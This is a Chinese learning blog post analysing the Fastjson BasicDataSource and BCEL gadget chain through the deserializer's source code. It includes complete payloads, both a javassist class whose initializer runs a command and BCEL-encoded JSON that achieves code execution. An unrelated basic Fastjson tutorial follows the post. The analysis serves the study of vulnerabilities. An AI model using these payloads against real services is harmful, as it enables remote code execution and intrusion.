[JAVA反序列化初学4]Fastjson的BCEL字节码攻击分析


这基本是直接从本地笔记md复制上来,主要是自己记录,排版很烂,见谅。


Fastjson与BCEL

在Fastjson中通过BCEL字节码执行恶意代码,需要用到org.apache.tomcat.dbcp.dbcp.BasicDataSource这个类。主要原因是,我们需要加载BCEL字节码的话,需要实现下面这一句话:

import com.sun.org.apache.bcel.internal.util.ClassLoader;
...
new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();

而想要在Fastjson中使用的话,就得在各种fastjson反序列化过程中执行的那些操作中执行到这个操作。而在BasicDataSource中正好有一个能够利用的点。

在544行的地方,方法createConnectionFactory执行了一个getContextClassLoader().loadClass(this.driverClassName)

protected ConnectionFactory createConnectionFactory() throws SQLException {
    Class driverFromCCL = null;
    String user;
    if (this.driverClassName != null) {
        try {
            try {
                if (this.driverClassLoader == null) {
                    Class.forName(this.driverClassName);
                } else {
                    Class.forName(this.driverClassName, true, this.driverClassLoader);
                }
            } catch (ClassNotFoundException var6) {
                driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(this.driverClassName);

而这里的getContextClassLoader和driverClassName恰好都是可控的,上次说到的Fastjson在反序列化过程中会调用setter来置值。

我们在类中找到了setContextClassLoader和setdriverClassName。

public synchronized void setDriverClassName(String driverClassName) {
    if (driverClassName != null && driverClassName.trim().length() > 0) {
        this.driverClassName = driverClassName;
    } else {
        this.driverClassName = null;
    }

    this.restartNeeded = true;
}
public synchronized void setDriverClassLoader(ClassLoader driverClassLoader) {
    this.driverClassLoader = driverClassLoader;
    this.restartNeeded = true;
}

现在,只要找到哪里调用到createConnectionFactory就能成了,接下来就是一条链到达这里。

在方法createDataSource中第510行找到了这个createConnectionFactory的调用。

protected synchronized DataSource createDataSource() throws SQLException {
    if (this.closed) {
        throw new SQLException("Data source is closed");
    } else if (this.dataSource != null) {
        return this.dataSource;
    } else {
        ConnectionFactory driverConnectionFactory = this.createConnectionFactory();

然后又在getConnection找到了createDataSource的调用。

public Connection getConnection() throws SQLException {
    return this.createDataSource().getConnection();
}

本来以为到这里就算完了,因为上次有说到parseObject调用了对象所有的getter,那这里肯定就会自动触发了。但完全不行。失败的payload如下:

ClassPool classPool=ClassPool.getDefault();
CtClass ctClass=classPool.makeClass("A");
String code="java.lang.Runtime.getRuntime().exec(\"calc\");";
            ctClass.makeClassInitializer().insertAfter(code);
            byte[] b=ctClass.toBytecode();
String bcel="$$BCEL$$"+Utility.encode(b,true);
String str = "{\n" +
    "                \"@type\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\n" +
    "                \"driverClassLoader\": {\n" +
    "                    \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
    "                },\n" +
    "                \"driverClassName\": \""+bcel+"\"\n" +
    "        }";
System.out.println(str);
JSON.parse(str);

完全没有反应。去查,发现parseObject并不像想象中那样调用了所有的getter。

FastJson中的 parse() 和 parseObject()方法都可以用来将JSON字符串反序列化成Java对象,parseObject() 本质上也是调用 parse() 进行反序列化的。但是 parseObject() 会额外的将Java对象转为 JSONObject对象,即 JSON.toJSON()。所以进行反序列化时的细节区别在于,parse() 会识别并调用目标类的 setter 方法及某些特定条件的 getter 方法,而 parseObject() 由于多执行了 JSON.toJSON(obj),所以在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法。 ——引用https://jlkl.github.io/2021/12/18/Java_07上面说的

条件:返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong的getter方法

很显然的是getConnection方法是不符合的,返回值类型为Connection。所以正常来说在 FastJson 反序列化的过程中并不会被调用。——(38条消息) 红队漏洞研究-fastjsonBasicDataSource链分析_Gamma_lab的博客-CSDN博客

按网上的说法,如果把这个JsonObject作为key放在json里面的话。会执行key的toString方法,然后因为JsonObject继承了map,map的toString会取得所有的getter,意思是懂了,但不看看代码总觉得不太。还是自己跟跟吧。

在DefaultJSONParser中识别到Map类型,在分支结构中进入了这个重载的参数类型为Map的parseObject。

在这里插入图片描述

跟到了key的toString。

在这里插入图片描述

嵌套,跟进。
在这里插入图片描述

按执行顺序,new JSONSerializer就不进了,进入到write方法,盲猜是调用setter的地方。

在这里插入图片描述

反射取得JsonObject的Class,然后调用了getObjectWriter
在这里插入图片描述

嵌套,进去。
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

好长,不一一看了,在这里过去执行了命令,直接从这里进去看看。

在这里插入图片描述

还是进write。这里从值里取出了BasicDataSource。

在这里插入图片描述

在这里插入图片描述

这里得到了JsonObject所有的getter。
在这里插入图片描述

欸嘿,感觉是这里,要成了。
在这里插入图片描述

然后在后面的代码中,遍历所有的getter来执行getPropertyValueDirect

在这里插入图片描述

这里成员变量method的值是getConnection

在这里插入图片描述

跟进去这个函数,这里调用了"connection".get(BasicDataSource),感觉getConnection近在咫尺。

在这里插入图片描述

跟进去,发现反射执行了
在这里插入图片描述

总算找到调用栈了。到这里就连接上了前面的BasicDataSource中的链,就可以RCE了。

在这里插入图片描述

等等,感觉好像漏了一些什么东西。this.getter什么时候传进去的?!

返回write的上一层,这里的上一句取得了这个执行write的对象。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

发现这里就是检验getter的地方,得是上面所述getter才可以。

在这里插入图片描述

调用了几次不同的seriazlizer来get,在最后一次调用get的时候匹配上了entry.key
在这里插入图片描述

在这里插入图片描述

反正就是prewriter取出来的时候,this.getters就已经放进了所有的getter。

最后的payload,长这样。

String str="{\n" +
        "    {\n" +
        "        \"@type\": \"com.alibaba.fastjson.JSONObject\",\n" +
        "        \"x\":{\n" +
        "                \"@type\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\n" +
        "                \"driverClassLoader\": {\n" +
        "                    \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
        "                },\n" +
        "                \"driverClassName\": \""+bcel+"\"\n" +
        "        }\n" +
        "    }: \"x\"\n" +
        "}";
{
    {
        "@type": "com.alibaba.fastjson.JSONObject",
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$Ae$90$cfJ$c3$40$Q$c6$bfi$da$s$c6$d46$d5$fa$ef$s$IM$3d$d8$83$c7$W$a1$I$9e$w$8a$91$f6$bc$5d$97$b05MJ$ba$V$df$c8s$_$w$k$7c$A$lJ$9c$84$82$F$97$9d$fdf$86o$7e$M$fb$fd$f3$f9$F$e0$C$c7$E$g$d8$mBc$w$9eE7$WI$d4$bd$9dL$9546$y$82$h$a6$cbL$aak$j$xBup$9e$9b$IN_$c6$3a$d1$e6$92$60$F$9d$R$a1$7c$95$3e$b2$c1$ffc$dc$_$T$a3g$ca$86$cb$90H$99uMh$F$9d$e1$3f$5b$cf$83$87$9a$8bm$ec0L$8aX$3ahp$a6$5e$94$q$b4$83$8d$89$d0d$3a$89z$9b$90$bb$y$95j$b1$60H$T$bb9d$8fP$L$8d$90O7b$fe$m$s$c5$ee$fdba$P$Hp$5c$94q$88$T$94X$f3S$82$D$9b$83$b0$c5$d5$v$y$ee$A$f5W$fe$80$e1$H$eaM$ff$N$ad$f1$8a$5b$84$7d$7e$z$Q$df$i$b4$9e$f0Y$89$b5r$f6$8e$a3U$81$qT$Kp$f5$X$c4$a1$b9$Rj$B$A$A"
        }
    }: "x"
}

或者像这样也行,就是键中不指定反序列化JSONObject。

{
    {
        "x": {
                "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$Ae$90$cfJ$c3$40$Q$c6$bfi$da$s$c6$d46$d5$fa$ef$s$IM$3d$d8$83$c7$W$a1$I$9e$w$8a$91$f6$bc$5d$97$b05MJ$ba$V$df$c8s$_$w$k$7c$A$lJ$9c$84$82$F$97$9d$fdf$86o$7e$M$fb$fd$f3$f9$F$e0$C$c7$E$g$d8$mBc$w$9eE7$WI$d4$bd$9dL$9546$y$82$h$a6$cbL$aak$j$xBup$9e$9b$IN_$c6$3a$d1$e6$92$60$F$9d$R$a1$7c$95$3e$b2$c1$ffc$dc$_$T$a3g$ca$86$cb$90H$99uMh$F$9d$e1$3f$5b$cf$83$87$9a$8bm$ec0L$8aX$3ahp$a6$5e$94$q$b4$83$8d$89$d0d$3a$89z$9b$90$bb$y$95j$b1$60H$T$bb9d$8fP$L$8d$90O7b$fe$m$s$c5$ee$fdba$P$Hp$5c$94q$88$T$94X$f3S$82$D$9b$83$b0$c5$d5$v$y$ee$A$f5W$fe$80$e1$H$eaM$ff$N$ad$f1$8a$5b$84$7d$7e$z$Q$df$i$b4$9e$f0Y$89$b5r$f6$8e$a3U$81$qT$Kp$f5$X$c4$a1$b9$Rj$B$A$A"
        }
    }:"xxx"
}

简单总结一下payload,最外层先是放了一对键值,键是一个JSONObjct,值随意一个字符串什么都行,这个JSONObject整体会作为一个键,值是xxx。接着会调用到key.toString。也就是这个JSONObject的toString。JSONObejct执行toString其实是在invoke函数中。

在这里插入图片描述

然后调用了父类JSON中的toString,然后又调用toJSONString

在这里插入图片描述

接着就取得了所有JSONObject中的getter。就会调用到JSONObject中的value(BasicDataSource)中的所有getter,也就调用到了getConnection。

最后

这条链前面要调用getConnection的流程实在是太深入了,主要是要得到所有getter,包括getConnection,然后调用,才可以加载字节码执行恶意代码。分析代码太小白了,流程稍微长,稍微深入,脑子就一片混乱了,还是要多分析分析一些利用链,多看看底层代码。

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
Java中的Fastjson库提供了一种方便的方式来进行JSON序列化和反序列化操作。要使用Fastjson进行反序列化,你需要按照以下步骤进行操作: 1. 首先,确保你已经将Fastjson库添加到你的项目中。你可以通过Maven或者手动下载并导入jar文件来添加依赖。 2. 创建一个Java类,该类的结构应该与你要反序列化的JSON数据的结构相匹配。 3. 导入Fastjson的相关类,包括JSON和JSONObject。 4. 使用JSON类的parseObject()方法将JSON字符串转换为JSONObject对象。 5. 使用JSONObject对象的toJavaObject()方法将JSONObject转换为你定义的Java类对象。 下面是一个简单的示例代码,演示了如何使用Fastjson进行反序列化: ```java import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; public class Main { public static void main(String[] args) { // JSON数据 String jsonString = "{\"name\":\"John\",\"age\":30}"; // 将JSON字符串转换为JSONObject对象 JSONObject jsonObject = JSON.parseObject(jsonString); // 将JSONObject对象转换为Java对象 Person person = jsonObject.toJavaObject(Person.class); // 打印Java对象的属性值 System.out.println("Name: " + person.getName()); System.out.println("Age: " + person.getAge()); } } class Person { private String name; private int age; // 省略getter和setter方法 public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } } ``` 在上面的示例中,我们首先将JSON字符串转换为JSONObject对象,然后将JSONObject对象转换为Person类的实例。最后,我们可以通过调用Person对象的getter方法来获取属性值。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Cgxx

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值